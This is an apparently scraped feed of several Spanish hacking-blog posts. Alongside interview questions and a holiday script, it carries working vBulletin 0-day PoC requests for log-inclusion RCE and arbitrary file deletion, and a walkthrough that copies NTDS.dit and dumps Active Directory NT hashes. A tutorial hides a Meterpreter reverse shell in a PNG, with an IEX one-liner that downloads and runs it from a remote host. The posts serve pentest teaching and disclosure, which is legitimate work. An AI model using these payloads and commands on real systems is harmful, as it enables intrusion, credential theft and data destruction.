Quantcast
Channel: hackplayers
Viewing all 1662 articles
Browse latest View live

Posibles preguntas en una entrevista para un puesto de seguridad informática / DFIR

$
0
0
Aquí y creo que de forma global, la ciberseguridad informática está en auge y eso se nota especialmente en el mercado laboral: afortunadamente las empresas cada vez demandan más puestos y, como consecuencia, hay un gran movimiento de personas incorporándose y cambiando en el mercado profesional.

Seguro que también os pasa a vosotros, cuándo un compañero algún día se tiene que irse antes por motivos personales enseguida saltan las "coñitas" del tipo "bueno, qué vaya bien en la entrevista" lol!

Para todos, para los que estén pensando en cambiarse o para los que se vayan a introducir en este mundillo, la prueba principal para incorporarse en una empresa sigue siendo la "entrevista". Y, aunque el formato y las preguntas suelen cambiar bastante incluso dentro de una misma empresa según la posición y el evaluador, siempre viene bien una batería de preguntas previas para prepararse.

Shankar Yadav con la ayuda de @Miss_Malware ha recopilado una lista bastante interesante dividida en categoría que seguro a más de uno hará reflexionar y/o prepararse mejor:

GENERAL
  • ¿Qué es DNS?
  • ¿Diferencias entre TCP y UDP?
  • ¿Cómo maneja HTTP el estado?
  • ¿TLS usa cifrado simétrico o asimétrico?
  • ¿Qué es "Riesgo"? ¿Qué es "Gestión de riesgos"?
  • ¿Qué parte del trío "confidentiality, integrity, and availability" de la CIA es la más importante?
  • Como Pentester, para ti ¿qué es más importante, ser un hax0r o hacer un buen trabajo?
  • ¿Cómo le explicarías a un usuario por qué no les damos administrador local en su máquina?
  • Responde verdadero o falso y explica tu respuesta: "La autenticación de dos factores protege contra el secuestro de la sesión".
  • Si fueras una amenaza, ¿cómo comprometerías a una organización en los tres dominios (físico, digital y humano)?
  • Nombra 3 protocolos de Internet que usan TCP, nombre 3 que usan UDP, Nombra 2 que no usan ninguno y en qué puerto se ejecutan.
  • Si estoy con mi portátil en la oficina y acabo de enchufar el cable de red. ¿Cuántos paquetes debe lanzar mi NIC para completar un traceroute a twitter.com?
  • ¿Cuál es la diferencia entre la codificación, el cifrado y el hash?
  • ¿Puedes describir que son las tablas rainbow?
  • Si tuvieras que cifrar y comprimir datos durante la transmisión, ¿qué harías primero y por qué?
  • En criptografía de clave pública, tienes una clave pública y privada, y a menudo realizas tanto funciones de cifrado como de firma. ¿Qué clave se usa para cada función?
  • ¿Cuáles son las ventajas que ofrecen los programas de bug bounty sobre las auditorías normales?
  • ¿Quién es más peligroso para una organización, las personas internas o las externas?
  • ¿A quién admiras en el campo de la seguridad de la información? ¿Por qué?
  • Acabas de entrar en el ascensor con el CEO y te pregunta, ¿qué tan seguros estamos? ¿Qué dices?
  • Tienes un presupuesto y recursos ilimitados. Dibuja la red corporativa más segura para la organización. Debe tener componentes específicos que incluyan pero no se limiten a: Internet, una subred de usuario, al menos un servidor de Active Directory, un servidor web (con base de datos de back-end) en Internet, un servidor de Recursos Humanos, WiFi para sus usuarios, una VPN, etc.

GESTIÓN DE VULNERABILIDADES Y PENETRATION TESTING
  • ¿Qué es Cross-Site Request Forgery?
  • ¿En qué categoría cae XXE?
  • ¿Cómo puede una inyección SQL derivar en ejecución remota de código?
  • ¿Cuál es el aspecto de seguridad más importante con los microservicios y las APIs?
  • Tengo una subred /24 de hosts en Internet que me gustaría que auditaras. Dime, en detalle, todos los pasos que deberás seguir para la evaluación.
  • En una auditoría acabas de comprometer un portátil Mac OS X dentro de una subred de usuario corporativo. Tu objetivo es obtener los hashes de Active Directory desde los servidores de AD. ¿Cómo se logra eso?
  • ¿Qué tipo de ataque se considera ARP Spoofing y cómo podría aprovecharlo en un test de intrusión?
  • Durante un pentest, encuentras una instancia de Outlook Web Access que pertenece al cliente. Describe cómo lo atacarías.
  • Estás realizando un pentest "onsite". No debes realizar ningún escaneo activo. ¿Cómo reunirías credenciales?
  • ¿Cómo apuntarías a una base de datos que sabes que se encuentra detrás de un servidor de salto con una dirección IP desconocida?
  • Describe el último programa o script que desarrollaste. ¿Qué problema resolvió?
  • ¿A qué tipo de ataques eres vulnerable cuando usas cifrado débil?
  • ¿Qué departamento de una organización es más probable que sea atacado primero?
  • ¿qué es lo que normalmente te encontrarás "a huevo" como pentester?
  • Describe tres de las formas más comunes en las que un atacante externo podría intentar obtener acceso a una red.
  • ¿En qué puerto se ejecuta ping?
  • ¿Cómo evadirías un IDS de red?
  • Dinos algunas cabeceras HTTP y por qué son tan importantes para un analista de seguridad.
  • Supongamos que tienes acceso físico a una máquina en un dominio corporativo que estas probando. Estás conectado pero no tienes credenciales para el dominio o la máquina local. También tienes tu portátil. ¿Cómo comenzarías a probar?
  • ¿Cuál es el propósito de "same origin policy" en relación con el modelo de objeto del documento?
  • Estás lanzando payload https reverse de meterpreter ontra un host que es vulnerable a tu ataque, pero una vez que escribes "explotar" no sucede nada después de lanzar el ataque, ¿cómo lo solucionarías? (O ¿qué cambiarías para obtener tu sesión de meterpreter?

ANÁLISIS FORENSE Y RESPUESTA ANTE INCIDENTES
  • ¿Cuál es la razón principal para no subir malware a VT?
  • ¿Qué evidencia de DFIR reúnes primero, y por qué?
  • ¿Por qué es esencial monitorizar DNS?
  • Supongamos que un usuario te envía un supuesto correo electrónico de phishing. ¿Cómo respondes y lo tratas?
  • Excluyendo "atomic" IoCs, brinda 3 ejemplos de cómo detectaría actividad maliciosa en la red.
  • ¿Qué porcentaje de malware "in the wild" crees que el AV puede detectar?
  • Explica por qué se necesita considerar el alcance en la etapa de "identificación" de IR.
  • ¿Cuál es el problema principal con el historial de bash como un artefacto forense, y el nombre de una manera de recrear parcialmente estos datos durante una investigación
  • ¿Cómo identificarás un archivo malicioso sin ejecutarlo?
  • ¿Cómo desempaquetas un malware? Además, ¿de cuántas maneras?
  • ¿Cómo intenta el malware evadir el análisis? ¿Cuáles son las formas?
  • Dado un binario, ¿cómo dirías que ha sido empaquetado y cómo averiguarías qué packer se usó?
  • Nombra al menos 3 escáneres de vulnerabilidades de diff y patrones para identificarlos
  • ¿Cómo validarías un falso positivo?
  • ¿Cómo se validaría un falso negativo?
  • ¿Cómo diseñarías y ejecutarías un plan de respuesta ante incidentes?
  • ¿Qué información incluirías en un informe de SOC?
  • Describe cómo funciona el handshake TCP
  • ¿Cuál es la diferencia entre un IDS y un IPS? Da ejemplos de cada uno.
  • Nombra cuatro tipos de registros DNS y lo que significan.
  • Recibes un informe de que el sitio web LAMP de tu empresa puede estar siendo DDoSeado. ¿Cómo lo investigas?
  • Digamos, le pedimos que implemente un nuevo SIEM, ¿cuál será tu enfoque?
  • Explicar la diferencia entre autenticación local y de red y guíame a través del proceso de autenticación.
  • ¿Cuáles serán tus principales fuentes de datos para detectar la actividad de una botnet?
  • ¿Cuál es una desventaja de la detección de malware basada en firmas?
  • Se ha informado de un incidente en el que se identificaba un host de empresa que se comunicaba con un host externo malicioso conocido. Los que respondieron al incidente ya bloquearon la comunicación y solicitaron el disco para la investigación forense. Eres el analista forense de turno... cuando llega el disco. ¿cómo vas a comenzar la investigación?
ANÁLISIS DE MALWARE, DESARROLLO DE EXPLOITS Y CRIPTOGRAFÍA
  • ¿Cómo evitarías ASLR?
  • ¿Cómo evitarías SafeSEH?
  • Explica el comportamiento y tu metodología de análisis de cualquier nueva APT
  • ¿Qué es DEP? ¿Cómo puede ser bypasseado?
  • Explica un archivo PE.
  • ¿Cómo funciona el keylogging?
  • ¿Qué es la inyección de código?
  • ¿Cuáles son las API utilizadas por el malware para conectarse al servidor?
  • ¿Cómo se puede descomprimir un malware y de cuántas maneras?
  • ¿De qué manera el malware intenta evadir el análisis?
  • Explica las técnicas Anti-Debugging empleadas por una macro maliciosa.
  • ¿Cuáles son los diferentes tipos de breakpoints, cuál es su uso y cuándo utilizar esos breakpoints?
  • Describe qué es el desbordamiento de búfer y cómo lo probarías.
  • Describe qué es SEH y cómo lo explotas?
  • Describe cómo los módulos y plugins de depuración pueden acelerar el desarrollo inicial de exploits
  • ¿Cómo funcionan las interrupciones en un depurador? ¿Cuáles son los códigos de operación para eso?
  • ¿Cómo funcionan las vulnerabilidades UAF?
  • Diferencia entre cifrado simétrico y asimétrico
  • En la criptografía de clave pública, ¿qué clave se utiliza para qué función (piensa en pública/privada y cifrado/firma)?
  • ¿Cuál de estos algoritmos es mejor que otros y por qué - AES-128, AES-196 y AES-256?
  • ¿Cuál es la diferencia entre el modo CBC y el modo de cifrado EBC?
  • ¿Qué es un ejecutable portable de Windows?
  • ¿Para qué se utiliza el registro ESP en la arquitectura Intel x86-32?
  • Durante la ejecución de una pieza de malware en un entorno de laboratorio virtual aislado, se observó que la muestra realizaba una solicitud HTTP GET para un archivo de texto. Debido a que el laboratorio está aislado de Internet, la muestra no recibió el archivo de texto. ¿Qué harías para avanzar en la investigación?

Fuente: https://www.deepshankaryadav.net/cyber-security-and-dfir-interview-questions/

Más preguntas en: https://github.com/WebBreacher/offensiveinterview

Publican dos 0-days en vBulletin, uno de ellos ejecución remota de comandos (RCE)

$
0
0
Han descubierto y divulgado detalles de dos vulnerabilidades críticas sin parche (aka 0-days) en vBulletin. Ya sabéis que vBulletin es un popular software para foros web basado en PHP y MySQL que está presente en más de 100.000 sitios web en Internet, algunos de ellos incluidos en Fortune 500 y el Top de Alexa.

Las vulnerabilidades fueron descubiertas por un investigador de seguridad de la empresa de seguridad italiana TRUEL IT y otro independiente desconocido, que publicaron los detalles de las vulnerabilidades al programa SecuriTeam Secure Disclosure de Beyond Security.

Las vulnerabilidades afectan a la versión 5, la última versión de vBulletin y actualmente no están corregidas. Beyond Security intentó ponerse en contacto con vBulletin desde el 21 de noviembre de 2017, pero no recibieron respuesta de la compañía.

Los detalles de las vulnerabilidades son los siguientes:

Vulnerabilidad de ejecución remota de comandos en vBulletin

La primera vulnerabilidad descubierta en vBulletin es un problema de inclusión de archivos que conduce a la ejecución remota de código, lo que permite a un atacante incluir remotamente cualquier archivo del servidor vBulletin y ejecutar código PHP arbitrariamente.

Un atacante no autenticado puede desencadenar la vulnerabilidad de inclusión de archivos enviando una solicitud GET a index.php con el parámetro "routestring=" en la solicitud, lo que permite al atacante "crear una solicitud especialmente elaborada al servidor Vbulletin instalada en el sistema operativo Windows e incluir cualquier archivo en el servidor web".

El investigador también ha proporcionado código (PoC) para mostrar la explotación de la vulnerabilidad:

/index.php?routestring=.\\

Si la respuesta es:


Entonces el servidor es vulnerable.

Si queremos inyectar código php a cualquier archivo en el servidor, podemos usar access.log por ejemplo:

/?LogINJ_START=LogINJ_END

Después de eso podemos incluir access.log con nuestro código PHP:

/index.php?routestring=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\xampp\\apache\\logs\\access.log


Vulnerabilidad de eliminación remota y arbitraria de archivos de vBulletin

La segunda vulnerabilidad descubierta en el software del foro vBulletin versión 5 se le ha asignado CVE-2017-17672 y se describe como un problema de deserialización que un atacante no autenticado puede aprovechar para eliminar archivos arbitrarios e incluso ejecutar código malicioso "en determinadas circunstancias".

La vulnerabilidad se debe al uso inseguro de unserialize() de PHP en la entrada proporcionada por el usuario, que permite a un atacante no autenticado eliminar archivos arbitrariamente y, posiblemente, ejecutar código arbitrario en una instalación de vBulletin.

La API expuesta públicamente, concretamente la función cacheTemplates() de vB_Library_Template, permite recuperar información de un conjunto de plantillas de la base de datos para almacenarlas dentro de una variable de caché.

"La variable $temnplateidlist, que puede venir directamente de la entrada del usuario, se suministra directamente a unserialize() lo que da como resultado una "primitiva" deserialización arbitraria", explica el aviso.

Además de detalles técnicos, el aviso también incluye PoC para explicar la gravedad de esta vulnerabilidad.

Al enviar la siguiente solicitud POST, un atacante no autenticado puede eliminar archivos del servidor de la víctima:
POST /vb533/ajax/api/template/cacheTemplates HTTP/1.1
Host: vb533.test
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"*imagefilelocation";s:13:"/path/to/file";}

El servidor responderá con:
HTTP/1.1 200 OK
Date: Fri, 27 Oct 2017 09:27:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=/; HttpOnly
Set-Cookie: lastvisit=1509096472; path=/; HttpOnly
Set-Cookie: lastactivity=1509096472; path=/; HttpOnly
Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=/; HttpOnly
Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0
Expires: Sat, 1 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2101
Connection: close
Content-Type: application/json; charset=UTF-8
 
{"errors":[["unexpected_error","Cannot use object of type vB_Image_ImageMagick as array"]]}

Fuentes:

- SSD Advisory – vBulletin routestring Unauthenticated Remote Code Execution
- SSD Advisory – vBulletin cacheTemplates Unauthenticated Remote Arbitrary File Deletion
- Two Critical 0-Day Remote Exploits for vBulletin Forum Disclosed Publicly

Extrayendo los hashes de las contraseñas de los usuarios del AD mediante el NTDS.dit

$
0
0
Normalmente uno de los objetivos en un test de intrusión es conseguir acceso al Controlador de Dominio y volcar todos los hashes de los usuarios del AD. Hay varias herramientas que facilitan mucho este labor como smart_hashdump de Meterpreter o secretsdump.py de Impacket pero, ocasionalmente, podemos necesitar hacer copia del archivo NTDS.dit y extraer manualmente la información de forma offline, por ejemplo cuando son muchos usuarios y queremos hacer un ataque de fuerza bruta contra muchos hashes.

En esta entrada veremos todo el proceso desde la obtención del fichero ntds.dit y de la rama del registro System (registry hive), hasta la obtención de los hashes y su posterior obtención en claro.

Adquiriendo los ficheros ntds.dit y la rama del registro system

Los datos del Directorio Activo (incluyendo los hashes de las contraseñas) están almacenados en el fichero de base de datos NTDS.dit. El formato es ESE (Extensible Storage Engine) y está basado en la base de datos Jet que se usaba en Exchange 5.5 y WINS. Por defecto, encontrarás una copia de este fichero dentro del controlador de dominio en el directorio %SystemRoot%\NTDS\Ntds.dit conteniendo los valores del dominio y una réplica de los valores del bosque (el contenedor de datos del Configurador). También está %SystemRoot%\System32\Ntds.dit que es la copia de distribución del directorio predeterminado que se utiliza cuando se promociona un servidor con Windows 2000 a un controlador de dominio.

Evidentemente no podremos copiar directamente ninguno de estos ficheros porque están en uso por el servidor. Tendremos que recurrir a otras opciones como VSS (Volume Shadow Copies), WMIC, NTDSUtil, snapshots (si son VM) o, como en nuestro caso, usar el módulo Invoke-NinjaCopy de PowerSploit (https://github.com/PowerShellMafia/PowerSploit):
. .\Invoke-NinjaCopy
Invoke-NinjaCopy -path "c:\your\path\ntds\ntds.dit" -localdestination "c:\temp\ntds.dit"
Invoke-NinjaCopy -path "c:\windows\system32\config\SYSTEM" -localdestination "c:\temp\SYSTEM"

Extracción de las tablas del ntds.dis

Una vez obtenidos ambos ficheros, el siguiente paso es extraer las tablas del archivo NTDS.dit utilizando esedbexport, que es parte de libesedb.

Clonamos el repositorio:

$ git clone https://github.com/libyal/libesedb

Instalamos las dependencias:

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

E instalamos (configure, make e install):

$ ./configure
$ make
$ sudo make install
$ sudo ldconfig

Si todo ha ido bien, debemos tener la herramienta de exportación disponible en /usr/local/bin/esedbexport.

Para extraer las tablas simplemente tenemos que ejecutar:

$ esedbexport -m tables ntdis.dit
esedbexport 20171128

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

El proceso para un dominio de tamaño medio suele ser de 20 a 30 minutos. Del resultado, las dos tablas importantes son datatable y link_table y ambas estarán en ./ntds.dit.export/.

Obtención de los hashes de las contraseñas de los usuarios

Una vez extraídas las tablas, hay un conjunto de herramientas en Python que se puede usar para interactuar con los datos: ntdsxtract.

Clonamos el repositorio:

$ git clone https://github.com/csababarta/ntdsxtract.git
$ cd ntdsxtract/

Y luego podemos usar directamente los scripts o, si lo preferimos, instalarlo:

$ python setup.py build && python setup.py install

Lo que haremos a continuación es volcar la información del usuario y los hashes NT/LM desde las tablas extraídas. Para ello usaremos el script dsusers.py de ntdxtract que requiere:

- datatable
- link_table
- system hive

La sintaxis es:

$ dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>

El formato de salida de los passwords será de john para su posterior crackeo:

$ python ntdsxtract/dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 extract/ --lmoutfile LM.out --ntoutfile NT.out --passwordhashes --pwdformat john --syshive system.bin

[+] Started at: Sun, 17 Dec 2017 01:18:57 UTC
[+] Started with options:
    [-] LM hash output filename: LM.out
    [-] NT hash output filename: NT.out
    [-] Extracting password hashes
    [-] Hash output format: john
The directory (/home/test/extract) specified does not exists!
Would you like to create it? [Y/N] Y

[+] Initialising engine...
[+] Loading saved map files (Stage 1)...
[!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/offlid.map'
[+] Rebuilding maps...
[+] Scanning database - 100% -> 3464 records processed
[+] Sanity checks...
      Schema record id: 1811
      Schema type id: 10
[+] Extracting schema information - 100% -> 1549 records processed
[+] Loading saved map files (Stage 2)...
[!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/links.map'
[+] Rebuilding maps...
[+] Extracting object links...

List of users:
==============
Record ID:            3562
User name:            Administrator
User principal name: 
SAM Account name:     Administrator
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 5f9433a8-7363-4f5e-8d3c-4a4dacca157c
SID:                  S-1-5-21-1036816736-4081296861-1938768537-500
When created:         2016-07-19 23:33:08+00:00
When changed:         2017-07-21 14:39:07+00:00
Account expires:      Never
Password last set:    2017-07-21 14:39:07.354826+00:00
Last logon:           2017-07-21 14:48:56.134512+00:00
Last logon timestamp: 2017-07-21 13:52:48.669583+00:00
Bad password time     2017-07-21 13:52:19.684732+00:00
Logon count:          63
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, Administrator
Password hashes:
    Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500::

Record ID:            3563
User name:            Guest
User principal name: 
SAM Account name:     Guest
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 2bf50d7e-79e6-4aab-a81c-15447a1b6f7e
SID:                  S-1-5-21-1036816736-4081296861-1938768537-501
When created:         2016-07-19 23:33:08+00:00
When changed:         2016-07-19 23:33:08+00:00
Account expires:      Never
Password last set:    Never
Last logon:           Never
Last logon timestamp: Never
Bad password time     2016-11-25 22:46:55.531557+00:00
Logon count:          0
Bad password count:   1
Dial-In access perm:  Controlled by policy
User Account Control:
    ACCOUNTDISABLE
    PWD_NOTREQD
    NORMAL_ACCOUNT
    DONT_EXPIRE_PASSWORD
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, Guest
Password hashes:

Record ID:            3609
User name:            krbtgt
User principal name: 
SAM Account name:     krbtgt
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 ce21ca0e-4f4d-49c9-9942-40b0d6ae913d
SID:                  S-1-5-21-1036816736-4081296861-1938768537-502
When created:         2016-07-19 23:34:47+00:00
When changed:         2017-07-21 13:57:55+00:00
Account expires:      Never
Password last set:    2017-07-21 13:57:55.522122+00:00
Last logon:           Never
Last logon timestamp: Never
Bad password time     Never
Logon count:          0
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    ACCOUNTDISABLE
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, krbtgt
Password hashes:
    krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502::

Record ID:            3776
User name:            usuario
User principal name: 
SAM Account name:     usuario
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 fcf6f550-6d74-434e-a2c0-c6b1e688cb6e
SID:                  S-1-5-21-1036816736-4081296861-1938768537-1108
When created:         2017-07-21 14:00:11+00:00
When changed:         2017-07-21 14:14:31+00:00
Account expires:      Never
Password last set:    2017-07-21 14:00:11.179960+00:00
Last logon:           2017-07-21 14:15:27.213569+00:00
Last logon timestamp: 2017-07-21 14:14:31.615071+00:00
Bad password time     Never
Logon count:          2
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, usuario
Password hashes:
    usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::

Cómo veis, hemos obtenido los hashes de 3 de los 4 usuarios del dominio de prueba. Podéis verlos recopilados en el fichero:

$ cat extract/NT.out
Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500::
krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502::
usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::

Por último ni siquiera nos hará falta crackear el hash del usuario... un búsqueda rápida en Internet nos desvelará una contraseña predecible: Password1234.

Fuentes:
- Windows Password Audit with Kali Linux
- Extracting Password Hashes from the Ntds.dit File
- NTDS Cracking with Kali
- Extracting Hashes and Domain Info From ntds.dit
- Getting Hashes from NTDS.dit File
- Extracting NTDS.DIT FILE FROM ACTIVE DIRECTORY
- Dumping ntds.dit files using PowerShell

Shell inversa con Powershell y... mediante una imagen PNG!

$
0
0
Imagina que cualquier imagen que visualizas en una web a parte de ser una simple imagen es también la "herramienta" que utiliza un atacante para ejecutar una shell inversa desde tu ordenador. Por ejemplo esta:

http://192.168.1.36/EvilTroll.png


Aparentemente es un simple fichero PNG pero entre sus píxeles se encuentra embebido un script en Powershell con un payload de Meterpreter.

La herramienta que posibilita hacerlo fácilmente es Invoke-PSImage
 de Barrett Adams, que inserta los bytes del script en los píxeles de una imagen PNG y además genera un "oneliner" para ejecutarlo desde un archivo de desde la web (cuando se pasa el parámetro -Web).

Básicamente lo que hace la herramienta es usar los 4 bits menos significativos de 2 valores de color en cada píxel para contener el payload. Necesitaremos una imagen con al menos tantos píxeles como bytes en el script algo bastante fácil ya que, por ejemplo, Invoke-Mimikatz cabe en una imagen de 1920x1200. Eso sí, la calidad de la imagen se verá algo afectada pero aún se verá decente.

En este post vamos a coger una imagen cualquiera (la del troll de arriba) y le añadiremos un script que ejecute una shell reversa con Powershell, así que empecemos generando el archivo ps1 con el payload de meterpreter:

# msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter.ps1 LHOST=192.168.1.36 LPORT=1234
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 206937 bytes
Final size of psh file: 966055 bytes
Saved as: meterpreter.ps1


Luego levantaremos en la máquina del atacante un handler que recibirá la shell de la víctima:

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter_reverse_http
payload => windows/meterpreter_reverse_http
msf exploit(multi/handler) > set lhost 192.168.1.36
lhost => 192.168.207.34
msf exploit(multi/handler) > set lport 1234
lport => 1234
msf exploit(multi/handler) > exploit

[*] Started HTTP reverse handler on http://192.168.1.36:1234


Después clonaremos el repositorio e importaremos su módulo:

git clone https://github.com/peewpw/Invoke-PSImage.git
PS C:\tmp\Invoke-PSImage> Import-Module .\Invoke-PSImage.ps1


Ahora sólo tenemos que buscar cualquier imagen con el tamaño suficiente a la que "incrustaremos" el script en powershell malicioso. Puede aceptar la mayoría de los tipos de imágenes como entrada, pero la salida siempre será un PNG. La sintaxis es muy sencilla:

PS>Invoke-PSImage -Script .\script.ps1 -Image .\imagen.jpg -Out .\imagen_con_script.png
   [Oneliner para ejecutar desde un fichero o desde un web]


Veamos su salida real, primero si llamamos a la imagen en una web:

PS C:\tmp\Invoke-PSImage> Invoke-PSImage -Script ./meterpreter.ps1 -Image ./Troll.jpg -Out ./EvilTroll.png -Web
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o= a Byte[] 968240;(0..244)|% {foreach($x in (0..3951)){$p=$g.GetPixel($x,$_);$o[$_*3952+$x]=([math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..966053]))

O directamente a un archivo:

PS C:\tmp\Invoke-PSImage>  Invoke-PSImage -Script ./meterpreter.ps1 -Image ./Troll.jpg -Out ./EvilTroll2.png
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap("C:\tmp\Invoke-PSImage\EvilTroll2.png");$o= a Byte[] 968240;(0..244)|% {foreach($x in (0..3951)){$p=$g.GetPixel($x,$_);$o[$_*3952+$x]=([math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..966060]))

Del resultado me llamó la atención el tamaño de la imagen:

# file EvilTroll.png
EvilTroll.png: PNG image data, 3952 x 4191, 8-bit/color RGB, non-interlaced

# du -h EvilTroll.png
32M    EvilTroll.png

Pero en fin... la metemos en nuestro servidor web, y desde el equipo de la victima ejecutamos:

PS C:\tmp\Invoke-PSImage>  Invoke-PSImage -Script ./meterpreter.ps1 -Image ./Troll.jpg -Out ./EvilTroll.png -Web
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g= a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.1.36/EvilTroll.png"));$o= a Byte[] 968240;(0..244)|% {foreach($x in (0..3951)){$p=$g.GetPixel($x,$_);$o[$_*3952+$x]=([math]::Floor(($p.B -band 15)*16) -bor ($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..966060]))

Y... gualá! tenemos shell!:

[*] Started HTTP reverse handler on http://192.168.1.36:1234
[*] http://192.168.1.36:1234 handling request from 192.168.1.53; (UUID: ns3jprex) Redirecting stageless connection from /E3XErlRflSOBg4CB27loIwvsnv91v9uXa2cXo-S2039npY0I0XuBd-p5EuYnkTdCUTcOxZ70IvvoX6ZY with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] http://192.168.1.36:1234 handling request from 192.168.1.53; (UUID: ns3jprex) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (192.168.1.36:1234 -> 192.168.1.53:1091) at 2017-12-20 23:52:16 +0100

meterpreter > getuid
Server username: VICTIMA\usuario

meterpreter > sysinfo
Computer        : VICTIMA
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : es_ES
Domain          : DOMINIO
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter >

¿Por qué "hackean" los hackers? (infografía)

$
0
0
La empresa Raconteur que se dedica a hacer algunos estudios bastante interesante ha publicado un infografía sobre cuáles son las motivaciones principales de los hackers. A través de un estudio global que incluye grandes organizaciones que fueron víctimas de ciberataques -unos 2000-, se extrae que el primer motivo para los hackers sigue siendo el financiero; aunque hay cosas interesantes como la amenaza siempre presente del actor interno (el típico empleado descontento) o la presencia cada vez mayor del concepto de la ciberguerra. Aunque sea por mera curiosidad, conviene echarle un vistazo:


Fuente: http://res.cloudinary.com/yumyoshojin/image/upload/v1484993356/pdf/cyber-risk-resilience-2017.pdf

¡Feliz navidad!

$
0
0
from random import choice
from random import random
import base64

def main():
SIZE = 21
print(makeTree(SIZE))
foo = "wqFEZXNkZSBIYWNrcGxheWVycyBvcyBkZXNlYW1vcyBmZWxpeiBuYXZpZGFkISBTZWQgbWFsb3MgOykg"
print base64.b64decode(foo)

def makeTree(size):
prob_gr = 0.6
colours = [31, 33, 34, 35, 36, 37]
decs = ['@', '&', '*', chr(169), chr(174)]
blink_col = "\033[5;{0}m{1}\033[0m"
leaf = "\033[32m#\033[0m"
width = 1
tree = "\n{}*\n".format('' * (size))
for pad in range(size - 1, -1, -1):
width += 2
temp = ""
for j in range(width):
if random() < prob_gr:
temp += leaf
else:
temp += blink_col.format(choice(colours), choice(decs))
tree += "{0}{1}\n".format('' * pad, temp)
return tree + "{0}{1}\n".format('' * (size - 1), "000") * 2

if __name__ == "__main__":
main()

Análisis línea por línea de un script malicioso en Powershell para evadir UAC

$
0
0
Hoy leía un interesante artículo de Invincea, una compañía de Sophos, en el que analizaban línea por línea un script en Powershell malicioso que ejecutaba un exploit para bypassear UAC (User Access Control). En el caso concreto del ataque, la víctima abrió un documento que generó el susodicho script:
A primera vista, parece que el script está bastante elaborado o es complicado. Sin embargo, en realidad es bastante simple y sencillo, con la excepción de algunos cambios que hace en el registro. De hecho, la mayoría de los comandos que ejecuta se usan para evitar la detección.

